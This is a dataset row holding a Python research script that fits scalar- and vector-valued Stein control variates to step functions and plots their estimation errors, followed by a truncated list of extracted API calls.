code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
import pickle
from matplotlib import pyplot as plt
import torch
import seaborn as sns
import numpy as np
from src.src_vvCV_MD1P.stein_operators import *
from src.src_vvCV_MD1P.sv_CV import *
from src.src_vvCV_MD1P.vv_CV_MD1P import *
from src.src_vvCV_MD1P.vv_CV_FixB_MD1P import *
from src.src_vvCV_MD1P.vv_CV_unbalanced_FixB_MD1P import *
# ======================
# Step Function
# ======================
# Set vv-CV kernel
my_base_kernel = rbf_kernel
my_lr = 0.0003
my_poly_ker_parm = torch.Tensor([1,1])
no_replica_ty2 = 1
no_epochs_ty2 = 400
no_points_per_func_ty2= 40
for i in range(no_replica_ty2):
print("REP {} out of {}-----------".format(i+1, no_replica_ty2 ))
dim = 1
factor = torch.ones(1) * 1
mu = torch.zeros(dim, dtype=torch.float) + 0
var = torch.eye(dim, dtype=torch.float) * factor # MUst use eye() here
print(mu, var)
def my_func_1(X):
return (0.5 + (2 * (X >= 0) - 1) * 1.5) * torch.ones(1, dtype=torch.float)
def my_func_2(X):
return (X >= 0) * torch.ones(1, dtype=torch.float)
# Training samples
print("REP {} out of {}-----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(5)
X1 = mu + torch.sqrt(factor) * torch.randn(no_points_per_func_ty2, dim)
Y1 = my_func_1(X1)
# --- For MD1P
torch.manual_seed(6)
X2 = mu + torch.sqrt(factor) * torch.randn(no_points_per_func_ty2, dim)
Y2 = my_func_2(X2)
# --- For 1D1P
Y1_X2 = my_func_1(X2)
Ys_on_X2 = torch.stack((Y1_X2, Y2), dim=1).squeeze()
# Scores on X's
mu = torch.zeros(dim, 1)
cov = var
score_X1 = multivariate_Normal_score(mu, cov, X1)
score_X1.size()
score_X2 = multivariate_Normal_score(mu, cov, X2)
xall = torch.stack((X1, X2), dim=0)
xall.size()
yall = torch.stack((Y1, Y2), dim=0)
yall.size()
score_all = torch.stack((score_X1, score_X2), dim=0)
score_all.size()
# f1
print("REP {} out of {} --- sv-CV-f1 -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc1 = SV_CV_scalarvaluedfuncs_model(penalized_ls_objective_scalarvaluedfunc, stein_base_kernel_MV_2, my_base_kernel, X1, Y1, score_X1)
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc1.do_tune_kernelparams_negmllk(batch_size_tune = 5, flag_if_use_medianheuristic=False, beta_cstkernel=0., lr=0.02, epochs=15, verbose=True)
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc1.do_optimize_sv_CV(regularizer_const = 1e-5, batch_size = 10, lr = my_lr, epochs = no_epochs_ty2, verbose = True)
# f2
print("REP {} out of {}--- sv-CV-f2 -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc2 = SV_CV_scalarvaluedfuncs_model(penalized_ls_objective_scalarvaluedfunc,stein_base_kernel_MV_2, my_base_kernel, X2, Y2, score_X2)
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc2.do_tune_kernelparams_negmllk(batch_size_tune = 5, flag_if_use_medianheuristic=False, beta_cstkernel=0., lr=0.02, epochs=15, verbose=True)
torch.manual_seed(0)
Ty2_SCV_scalarvaluedfunc2.do_optimize_sv_CV(regularizer_const=1e-5, batch_size=10, lr=my_lr, epochs=no_epochs_ty2, verbose=True)
# vv-CV: MD1P with B fixed
print("REP {} out of {} --- vv-CV: MD1P with B fixed -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc_fixB = VV_CV_vectorvaluedfuncs_model_fixB(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc_fixB, prior_kernel=stein_base_kernel_MV_2, base_kernel=my_base_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc_fixB.do_tune_kernelparams_negmllk(batch_size_tune=5, flag_if_use_medianheuristic=False, beta_cstkernel=0., lr=0.02, epochs=15, verbose=True) # bs 5; lr 0.2; epochs 5
torch.manual_seed(0)
# set B
Ty2_SCV_vectorvaluedfunc_fixB.B = torch.Tensor([[0.1, 0.01], [0.01,0.1]])
Ty2_SCV_vectorvaluedfunc_fixB.do_optimize_vv_CV(regularizer_const=1e-5, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True)
# ---------------
# vv-CV: MD1P with B fixed -- ANOTHER B
print("REP {} out of {} --- vv-CV: MD1P with B fixed --- Another B-----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc_fixB_another = VV_CV_vectorvaluedfuncs_model_fixB(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc_fixB, prior_kernel=stein_base_kernel_MV_2, base_kernel=my_base_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc_fixB_another.do_tune_kernelparams_negmllk(batch_size_tune=5, flag_if_use_medianheuristic=False, beta_cstkernel=0., lr=0.02, epochs=15, verbose=True) # bs 5; lr 0.2; epochs 5
torch.manual_seed(0)
# set B
Ty2_SCV_vectorvaluedfunc_fixB_another.B = torch.Tensor([[0.5, 0.01], [0.01, 0.5]]) # a value close to estimated B
Ty2_SCV_vectorvaluedfunc_fixB_another.do_optimize_vv_CV(regularizer_const=1e-5, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True) # 0.002 ; 5
# ---------------
# vv-CV: MD1P with learning B
print("REP {} out of {} --- vv-CV: MD1P with learning B -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc = VV_CV_vectorvaluedfuncs_model(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc, prior_kernel=stein_base_kernel_MV_2, base_kernel=my_base_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc.do_tune_kernelparams_negmllk(batch_size_tune = 5, flag_if_use_medianheuristic=False, beta_cstkernel=0., lr=0.02, epochs=15, verbose=True) # bs 5; lr 0.2; epochs 5
torch.manual_seed(0)
Ty2_SCV_vectorvaluedfunc.do_optimize_vv_CV(regularizer_const=1e-5, regularizer_const_FB=1, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True) # 0.002; 5
# --------------
# sv-polynomials: f1
print("REP {} out of {} --- sv-polynomials: f1 -----------".format(i + 1, no_replica_ty2))
torch.manual_seed(0)
Ty2_SCV_svpolynomials_f1 = SV_CV_scalarvaluedfuncs_model(penalized_ls_objective_scalarvaluedfunc, stein_base_kernel_MV_2, polynomial_kernel, X1, Y1, score_X1)
Ty2_SCV_svpolynomials_f1.optim_base_kernel_parms = my_poly_ker_parm
torch.manual_seed(0)
Ty2_SCV_svpolynomials_f1.do_optimize_sv_CV(regularizer_const=1e-5, batch_size=10, lr=my_lr, epochs=no_epochs_ty2, verbose=True) # 0.002
# sv-polynomials: f2
print("REP {} out of {} --- sv-polynomials: f2 -----------".format(i + 1, no_replica_ty2))
torch.manual_seed(0)
Ty2_SCV_svpolynomials_f2 = SV_CV_scalarvaluedfuncs_model(penalized_ls_objective_scalarvaluedfunc, stein_base_kernel_MV_2, polynomial_kernel, X2, Y2, score_X2)
Ty2_SCV_svpolynomials_f2.optim_base_kernel_parms = my_poly_ker_parm
torch.manual_seed(0)
Ty2_SCV_svpolynomials_f2.do_optimize_sv_CV(regularizer_const=1e-5, batch_size=10, lr=my_lr, epochs=no_epochs_ty2, verbose=True) # 0.002
# vv-polynomials: MD1P with B fixed
print("REP {} out of {} --- vv-polynomials: MD1P with B fixed -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vvpolynomials_MD1P_fixB = VV_CV_vectorvaluedfuncs_model_fixB(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc_fixB, prior_kernel=stein_base_kernel_MV_2, base_kernel=polynomial_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
Ty2_SCV_vvpolynomials_MD1P_fixB.optim_base_kernel_parms = my_poly_ker_parm
torch.manual_seed(0)
# set B
Ty2_SCV_vvpolynomials_MD1P_fixB.B = torch.Tensor([[0.1, 0.01], [0.01,0.1]])
Ty2_SCV_vvpolynomials_MD1P_fixB.do_optimize_vv_CV(regularizer_const=1e-5, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True)
# vv-polynomials: MD1P with B fixed --- ANOTHER B
print("REP {} out of {} --- vv-polynomials: MD1P with B fixed ---Another B -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vvpolynomials_MD1P_fixB_another = VV_CV_vectorvaluedfuncs_model_fixB(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc_fixB, prior_kernel=stein_base_kernel_MV_2, base_kernel=polynomial_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
Ty2_SCV_vvpolynomials_MD1P_fixB_another.optim_base_kernel_parms = my_poly_ker_parm
torch.manual_seed(0)
# set B
Ty2_SCV_vvpolynomials_MD1P_fixB_another.B = torch.Tensor([[0.5, 0.01], [0.01, 0.5]])
Ty2_SCV_vvpolynomials_MD1P_fixB_another.do_optimize_vv_CV(regularizer_const=1e-5, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True)
# vv-polynomials: MD1P with learning B
print("REP {} out of {} --- vv-polynomials: MD1P with learning B -----------".format(i+1, no_replica_ty2 ))
torch.manual_seed(0)
Ty2_SCV_vvpolynomials_MD1P = VV_CV_vectorvaluedfuncs_model(vv_cv_objective=penalized_ls_objective_vectorvaluedfunc, prior_kernel=stein_base_kernel_MV_2, base_kernel=polynomial_kernel, Xs_tensor=xall, Ys_tensor=yall, scores_Tensor=score_all)
Ty2_SCV_vvpolynomials_MD1P.optim_base_kernel_parms = my_poly_ker_parm
torch.manual_seed(0)
Ty2_SCV_vvpolynomials_MD1P.do_optimize_vv_CV(regularizer_const=1e-5, regularizer_const_FB=1, batch_size=5, lr=my_lr, epochs=no_epochs_ty2, verbose=True)
# Define a helper function to caculate the density of some samples from a standard normal distributions
def helper_standard_Gaussian_PDF(x):
assert x.size(1)==1, "Dim should be 1"
n = x.size(0)
d = x.size(1)
prob_densities_at_x = torch.zeros(n)
for i in range(n):
cur_x = x[i].squeeze()
prob_densities_at_x[i] = ((2.*math.pi)**(-0.5)) * torch.exp(-0.5* (cur_x.pow(2)) )
return prob_densities_at_x
## Plot a fitted line for squared exponetial kernel.
sns.set_style("white")
all_x = torch.cat((X1, X2), dim=0)
all_x_dens = helper_standard_Gaussian_PDF(all_x)
all_x = all_x.squeeze()
all_x.size()
X1_sorted_values, X1_sorted_indices = X1.squeeze().sort()
X2_sorted_values, X2_sorted_indices = X2.squeeze().sort()
test_x = torch.unique(torch.sort(torch.cat((X1_sorted_values, X2_sorted_values, torch.linspace(-3, 3, 100)))).values)
test_x = test_x.unsqueeze(1)
test_x.size()
test_x_sorted_values, test_x_sorted_indices = test_x.squeeze().sort()
score_X1 = multivariate_Normal_score(mu, cov, X1)
score_X2 = multivariate_Normal_score(mu, cov, X2)
score_all_x = multivariate_Normal_score(mu, cov, all_x.unsqueeze(1))
score_test_x = multivariate_Normal_score(mu, cov, test_x )
vv_SEk_theta_hat = Ty2_SCV_vectorvaluedfunc.fitting_obj.theta.detach().clone()
vv_SEk_B = Ty2_SCV_vectorvaluedfunc.fitting_obj.B.detach().clone()
vv_SEk_est = Ty2_SCV_vectorvaluedfunc.fitting_obj.c.detach().clone().squeeze()
with torch.no_grad():
vv_SEk_k_XX = Ty2_SCV_vectorvaluedfunc.fitting_obj.kernel_obj.cal_stein_base_kernel(test_x, all_x.unsqueeze(1), score_test_x, score_all_x)
vv_SEk_y_fitted = vv_SEk_k_XX @ vv_SEk_theta_hat @ vv_SEk_B + vv_SEk_est
vv_SEk_y_fitted.size()
vv_SEk_data_sorted_values, vv_SEk_data_sorted_indices = all_x.sort()
vv_1polnk_theta_hat = Ty2_SCV_vvpolynomials_MD1P.fitting_obj.theta.detach().clone()
vv_1polnk_B = Ty2_SCV_vvpolynomials_MD1P.fitting_obj.B.detach().clone()
vv_1polnk_est = Ty2_SCV_vvpolynomials_MD1P.fitting_obj.c.detach().clone().squeeze()
with torch.no_grad():
vv_1polnk_k_XX = Ty2_SCV_vvpolynomials_MD1P.fitting_obj.kernel_obj.cal_stein_base_kernel(test_x, all_x.unsqueeze(1), score_test_x, score_all_x)
vv_1polnk_y_fitted = vv_1polnk_k_XX @ vv_1polnk_theta_hat @ vv_1polnk_B + vv_1polnk_est
vv_1polnk_y_fitted.size()
vv_1polnk_data_sorted_values, vv_1polnk_data_sorted_indices = all_x.sort()
sv_SEk_LF_theta_hat = Ty2_SCV_scalarvaluedfunc1.fitting_obj.theta.detach().clone()
sv_SEk_LF_est = Ty2_SCV_scalarvaluedfunc1.fitting_obj.c.clone().detach()
with torch.no_grad():
sv_SEk_LF_k_XX = Ty2_SCV_scalarvaluedfunc1.fitting_obj.kernel_obj.cal_stein_base_kernel(test_x, X1, score_test_x, score_X1)
sv_SEk_LF_y_fitted = sv_SEk_LF_k_XX @ sv_SEk_LF_theta_hat + sv_SEk_LF_est
sv_SEk_LF_y_fitted = sv_SEk_LF_y_fitted.squeeze()
sv_SEk_LF_data_sorted_values, sv_SEk_LF_data_sorted_indices = X1.squeeze().sort()
sv_SEk_HF_theta_hat = Ty2_SCV_scalarvaluedfunc2.fitting_obj.theta.detach().clone()
sv_SEk_HF_est = Ty2_SCV_scalarvaluedfunc2.fitting_obj.c.clone().detach()
with torch.no_grad():
sv_SEk_HF_k_XX = Ty2_SCV_scalarvaluedfunc2.fitting_obj.kernel_obj.cal_stein_base_kernel(test_x, X2, score_test_x, score_X2)
sv_SEk_HF_y_fitted = sv_SEk_HF_k_XX @ sv_SEk_HF_theta_hat + sv_SEk_HF_est
sv_SEk_HF_y_fitted = sv_SEk_HF_y_fitted.squeeze()
sv_SEk_HF_data_sorted_values, sv_SEk_HF_data_sorted_indices = X2.squeeze().sort()
x_step = np.linspace(-3,3, 3)
y_LF = [-1, -1, 2]
y_HF = [0, 0 , 1]
x_illu = np.linspace(-3, 3, 500)
# Extract Saved Outputs
with open('../data/Step_funcion_all_data.pkl', 'rb') as input:
no_replica_ty2 = pickle.load(input)
no_epochs_ty2 = pickle.load(input)
no_points_per_func_ty2 = pickle.load(input)
#
large_saved_MC_ests_ty2 = pickle.load(input)
large_save_est_scalar_f1_ty2 = pickle.load(input)
large_save_closed_form_sols_scalar_f1_ty2 = pickle.load(input)
large_save_est_scalar_f2_ty2 = pickle.load(input)
large_save_closed_form_sols_scalar_f2_ty2 = pickle.load(input)
large_save_est_vecfunc_ty2 = pickle.load(input)
large_save_est_vecfunc_fixB_ty2 = pickle.load(input)
large_save_est_vecfunc_fixB_another_ty2 = pickle.load(input)
# sv-polynomials
large_save_est_scalar_f1_svpolynomials_ty2 = pickle.load(input)
large_save_closed_form_sols_scalar_f1_svpolynomials_ty2 = pickle.load(input)
large_save_est_scalar_f2_svpolynomials_ty2 = pickle.load(input)
large_save_closed_form_sols_scalar_f2_svpolynomials_ty2 = pickle.load(input)
large_save_est_vecfunc_vvpolynomials_ty2_MD1P = pickle.load(input)
large_save_est_vecfunc_vvpolynomials_fixB_ty2 = pickle.load(input)
large_save_est_vecfunc_vvpolynomials_fixB_another_ty2 = pickle.load(input)
with torch.no_grad():
true_vals = [0.5, 0.5]
fig, axs = plt.subplots(1, 4, sharex=False, sharey=False)
fig.set_figwidth(20)
sns.set_style("ticks") # sns.set_style("whitegrid")
clrs = sns.color_palette("husl", 16)
start_pos = 0
axs[2].set_xlabel('Number of Epochs', fontsize=20)
axs[3].set_xlabel('Number of Epochs', fontsize=20)
axs[2].tick_params(labelsize=20)
axs[3].tick_params(labelsize=20)
show_indx = np.arange(0, 410, 20)
show_indx = show_indx - 1
show_indx[0] = 0
show_indx
axs[2].set_title("Squared-exponential kernel CVs", fontsize=18)
axs[3].set_title("First-order polynomial kernel CVs", fontsize=18)
axs[2].set_ylabel(r'Absolute error for $\Pi_H [f_H]$', fontsize=18)
# fig.set_figwidth(12)
mc_f1_mean_ty2 = (large_saved_MC_ests_ty2[:, 0] - true_vals[0]).abs().mean().repeat(1, no_epochs_ty2)
mc_f2_mean_ty2 = (large_saved_MC_ests_ty2[:, 1] - true_vals[1]).abs().mean().repeat(1, no_epochs_ty2)
mc_f1_std_ty2 = (large_saved_MC_ests_ty2[:, 0] - true_vals[0]).abs().std(dim=0) / (torch.ones(1) * no_replica_ty2).sqrt().repeat(1, no_epochs_ty2)
mc_f2_std_ty2 = (large_saved_MC_ests_ty2[:, 1] - true_vals[1]).abs().std(dim=0) / (torch.ones(1) * no_replica_ty2).sqrt().repeat(1, no_epochs_ty2)
axs[2].axhline(mc_f2_mean_ty2[0, 0], color='black', label='MC')
axs[3].axhline(mc_f2_mean_ty2[0, 0], color='black', label='MC')
axs[2].axhline((large_save_closed_form_sols_scalar_f2_ty2 - true_vals[1]).abs().mean().detach().numpy(), color='black', linestyle='-.', label='CF')
axs[3].axhline((large_save_closed_form_sols_scalar_f2_svpolynomials_ty2 - true_vals[1]).abs().mean().detach().numpy(),color='black', linestyle='-.', label='CF')
# -------
sv_f1_mean_ty2 = (large_save_est_scalar_f1_ty2 - true_vals[0]).abs().mean(dim=0).detach().numpy()
sv_f2_mean_ty2 = (large_save_est_scalar_f2_ty2 - true_vals[1]).abs().mean(dim=0).detach().numpy()
sv_f1_std_ty2 = (large_save_est_scalar_f1_ty2 - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
sv_f2_std_ty2 = (large_save_est_scalar_f2_ty2 - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[2].plot(show_indx + 1, sv_f2_mean_ty2[show_indx], c=clrs[1], marker='+', label='CV')
axs[2].fill_between(show_indx + 1, sv_f2_mean_ty2[show_indx] - sv_f2_std_ty2[show_indx], sv_f2_mean_ty2[show_indx] + sv_f2_std_ty2[show_indx], alpha=0.3, facecolor=clrs[1])
# -------
vv_f1_mean_ty2_fixB = (large_save_est_vecfunc_fixB_ty2[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vv_f2_mean_ty2_fixB = (large_save_est_vecfunc_fixB_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vv_f1_std_ty2_fixB = (large_save_est_vecfunc_fixB_ty2[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vv_f2_std_ty2_fixB = (large_save_est_vecfunc_fixB_ty2[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[2].plot(show_indx + 1, (large_save_est_vecfunc_fixB_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[show_indx],\
c=clrs[7], marker='x', label='vv-CV with Fixed B (1)')
axs[2].fill_between(show_indx + 1, vv_f2_mean_ty2_fixB[show_indx] - vv_f2_std_ty2_fixB[show_indx], vv_f2_mean_ty2_fixB[show_indx] + vv_f2_std_ty2_fixB[show_indx], alpha=0.3, facecolor=clrs[7])
# -------
vv_f1_mean_ty2_fixB_another = (large_save_est_vecfunc_fixB_another_ty2[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vv_f2_mean_ty2_fixB_another = (large_save_est_vecfunc_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vv_f1_std_ty2_fixB_another = (large_save_est_vecfunc_fixB_another_ty2[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vv_f2_std_ty2_fixB_another = (large_save_est_vecfunc_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[2].plot(show_indx + 1,(large_save_est_vecfunc_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[ show_indx], c=clrs[3], marker='x', label='vv-CV with Fixed B (2)')
axs[2].fill_between(show_indx + 1, vv_f2_mean_ty2_fixB_another[show_indx] - vv_f2_std_ty2_fixB_another[show_indx],vv_f2_mean_ty2_fixB_another[show_indx] + vv_f2_std_ty2_fixB_another[show_indx], alpha=0.3, facecolor=clrs[5])
# -------
vv_f1_mean_ty2 = (large_save_est_vecfunc_ty2[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vv_f2_mean_ty2 = (large_save_est_vecfunc_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vv_f1_std_ty2 = (large_save_est_vecfunc_ty2[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vv_f2_std_ty2 = (large_save_est_vecfunc_ty2[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[2].plot(show_indx + 1,(large_save_est_vecfunc_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[show_indx], c=clrs[10], marker='.', label='vv-CV with Estimated B')
axs[2].fill_between(show_indx + 1, vv_f2_mean_ty2[show_indx] - vv_f2_std_ty2[show_indx], vv_f2_mean_ty2[show_indx] + vv_f2_std_ty2[show_indx], alpha=0.3, facecolor=clrs[10])
# -------
svpoly_f1_mean_ty2 = (large_save_est_scalar_f1_svpolynomials_ty2 - true_vals[0]).abs().mean(dim=0).detach().numpy()
svpoly_f2_mean_ty2 = (large_save_est_scalar_f2_svpolynomials_ty2 - true_vals[1]).abs().mean(dim=0).detach().numpy()
svpoly_f1_std_ty2 = (large_save_est_scalar_f1_svpolynomials_ty2 - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
svpoly_f2_std_ty2 = (large_save_est_scalar_f2_svpolynomials_ty2 - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[3].plot(show_indx + 1, svpoly_f2_mean_ty2[show_indx], c=clrs[1], marker='+', label='CV')
axs[3].fill_between(show_indx + 1, svpoly_f2_mean_ty2[show_indx] - svpoly_f2_std_ty2[show_indx], svpoly_f2_mean_ty2[show_indx] + svpoly_f2_std_ty2[show_indx], alpha=0.3, facecolor=clrs[1])
# -------
vvpoly_f1_mean_ty2_fixB = (large_save_est_vecfunc_vvpolynomials_fixB_ty2[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vvpoly_f2_mean_ty2_fixB = (large_save_est_vecfunc_vvpolynomials_fixB_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vvpoly_f1_std_ty2_fixB = (large_save_est_vecfunc_vvpolynomials_fixB_ty2[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vvpoly_f2_std_ty2_fixB = (large_save_est_vecfunc_vvpolynomials_fixB_ty2[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[3].plot(show_indx + 1, (large_save_est_vecfunc_vvpolynomials_fixB_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[show_indx], c=clrs[7], marker='x', label='vv-CV with Fixed B (1)')
axs[3].fill_between(show_indx + 1, vvpoly_f2_mean_ty2_fixB[show_indx] - vvpoly_f2_std_ty2_fixB[show_indx], vvpoly_f2_mean_ty2_fixB[show_indx] + vvpoly_f2_std_ty2_fixB[show_indx], alpha=0.3, facecolor=clrs[7])
# -------
vvpoly_f1_mean_ty2_fixB_another = (large_save_est_vecfunc_vvpolynomials_fixB_another_ty2[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vvpoly_f2_mean_ty2_fixB_another = (large_save_est_vecfunc_vvpolynomials_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vvpoly_f1_std_ty2_fixB_another = (large_save_est_vecfunc_vvpolynomials_fixB_another_ty2[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vvpoly_f2_std_ty2_fixB_another = (large_save_est_vecfunc_vvpolynomials_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[3].plot(show_indx + 1, (large_save_est_vecfunc_vvpolynomials_fixB_another_ty2[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[show_indx], c=clrs[3], marker='x', label='vv-CV with Fixed B (2)')
axs[3].fill_between(show_indx + 1,vvpoly_f2_mean_ty2_fixB_another[show_indx] - vvpoly_f2_std_ty2_fixB_another[show_indx], vvpoly_f2_mean_ty2_fixB_another[show_indx] + vvpoly_f2_std_ty2_fixB_another[show_indx],alpha=0.3, facecolor=clrs[5])
# -------
vvpoly_f1_mean_ty2 = (large_save_est_vecfunc_vvpolynomials_ty2_MD1P[:, :, 0] - true_vals[0]).abs().mean(dim=0).detach().numpy()
vvpoly_f2_mean_ty2 = (large_save_est_vecfunc_vvpolynomials_ty2_MD1P[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()
vvpoly_f1_std_ty2 = (large_save_est_vecfunc_vvpolynomials_ty2_MD1P[:, :, 0] - true_vals[0]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
vvpoly_f2_std_ty2 = (large_save_est_vecfunc_vvpolynomials_ty2_MD1P[:, :, 1] - true_vals[1]).abs().std(dim=0).detach().numpy() / np.sqrt(no_replica_ty2)
axs[3].plot(show_indx + 1, (large_save_est_vecfunc_vvpolynomials_ty2_MD1P[:, :, 1] - true_vals[1]).abs().mean(dim=0).detach().numpy()[show_indx], c=clrs[10], marker='.', label='vv-CV with Estimated B')
axs[3].fill_between(show_indx + 1, vvpoly_f2_mean_ty2[show_indx] - vvpoly_f2_std_ty2[show_indx], vvpoly_f2_mean_ty2[show_indx] + vvpoly_f2_std_ty2[show_indx], alpha=0.3, facecolor=clrs[10])
# If want to include the legend inside the figure
axs[2].legend(loc="upper right", fontsize=13)
# sns.set_style("ticks") # sns.set_style("whitegrid")
axs[0].set_title("Low-fidelity model", fontsize=18)
axs[1].set_title("High-fidelity model", fontsize=18)
axs[0].set_ylim([-3, 3])
axs[1].set_ylim([-3, 3])
axs[2].set_ylim([0.03, 0.07])
axs[3].set_ylim([0.03, 0.07])
axs[0].plot(test_x_sorted_values, vv_SEk_y_fitted[:, 0][test_x_sorted_indices], color='blue', ls='dotted',label='vv-CV')
axs[0].plot(test_x_sorted_values, vv_1polnk_y_fitted[:, 0][test_x_sorted_indices], color='orange', ls='dotted',label='vv-CV (1st order polyn. k)')
axs[0].plot(test_x_sorted_values, sv_SEk_LF_y_fitted[test_x_sorted_indices], color='red', ls='dotted',label='CV (squared-exponetial k)')
axs[0].step(x_step, y_LF, color='black', label=r'$f(x)$')
axs[1].set_xlabel("x", fontsize=20)
axs[1].set_ylabel("y", fontsize=20)
axs[1].tick_params(labelsize=20)
axs[1].plot(test_x_sorted_values, vv_SEk_y_fitted[:, 1][test_x_sorted_indices], color='blue', ls='dotted',label='vv-CV (squared-exponetial k)')
axs[1].plot(test_x_sorted_values, vv_1polnk_y_fitted[:, 1][test_x_sorted_indices], color='orange', ls='dotted', label='vv-CV (1st order polyn. k)')
axs[1].plot(test_x_sorted_values, sv_SEk_HF_y_fitted[test_x_sorted_indices], color='red', ls='dotted', label='CV (squared-exponetial k)')
axs[1].step(x_step, y_HF, color='black', label=r'$f(x)$')
axs[0].set_xlabel("x", fontsize=20)
axs[0].set_ylabel("y", fontsize=20)
axs[0].tick_params(labelsize=20)
axs[1].legend(fontsize=13)
# plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0., fontsize=15)
plt.show()
fig.savefig('step_function_plot.pdf')
| [
"numpy.sqrt",
"torch.sqrt",
"seaborn.set_style",
"numpy.arange",
"seaborn.color_palette",
"torch.eye",
"numpy.linspace",
"torch.randn",
"torch.Tensor",
"pickle.load",
"torch.cat",
"matplotlib.pyplot.show",
"torch.manual_seed",
"torch.stack",
"torch.zeros",
"torch.no_grad",
"matplotli... | [((495, 515), 'torch.Tensor', 'torch.Tensor', (['[1, 1]'], {}), '([1, 1])\n', (507, 515), False, 'import torch\n'), ((9837, 9859), 'seaborn.set_style', 'sns.set_style', (['"""white"""'], {}), "('white')\n", (9850, 9859), True, 'import seaborn as sns\n'), ((9868, 9894), 'torch.cat', 'torch.cat', (['(X1, X2)'], {'dim': '(0)'}), '((X1, X2), dim=0)\n', (9877, 9894), False, 'import torch\n'), ((12788, 12809), 'numpy.linspace', 'np.linspace', (['(-3)', '(3)', '(3)'], {}), '(-3, 3, 3)\n', (12799, 12809), True, 'import numpy as np\n'), ((12856, 12879), 'numpy.linspace', 'np.linspace', (['(-3)', '(3)', '(500)'], {}), '(-3, 3, 500)\n', (12867, 12879), True, 'import numpy as np\n'), ((1162, 1182), 'torch.manual_seed', 'torch.manual_seed', (['(5)'], {}), '(5)\n', (1179, 1182), False, 'import torch\n'), ((1307, 1327), 'torch.manual_seed', 'torch.manual_seed', (['(6)'], {}), '(6)\n', (1324, 1327), False, 'import torch\n'), ((1563, 1582), 'torch.zeros', 'torch.zeros', (['dim', '(1)'], {}), '(dim, 1)\n', (1574, 1582), False, 'import torch\n'), ((1737, 1765), 'torch.stack', 'torch.stack', (['(X1, X2)'], {'dim': '(0)'}), '((X1, X2), dim=0)\n', (1748, 1765), False, 'import 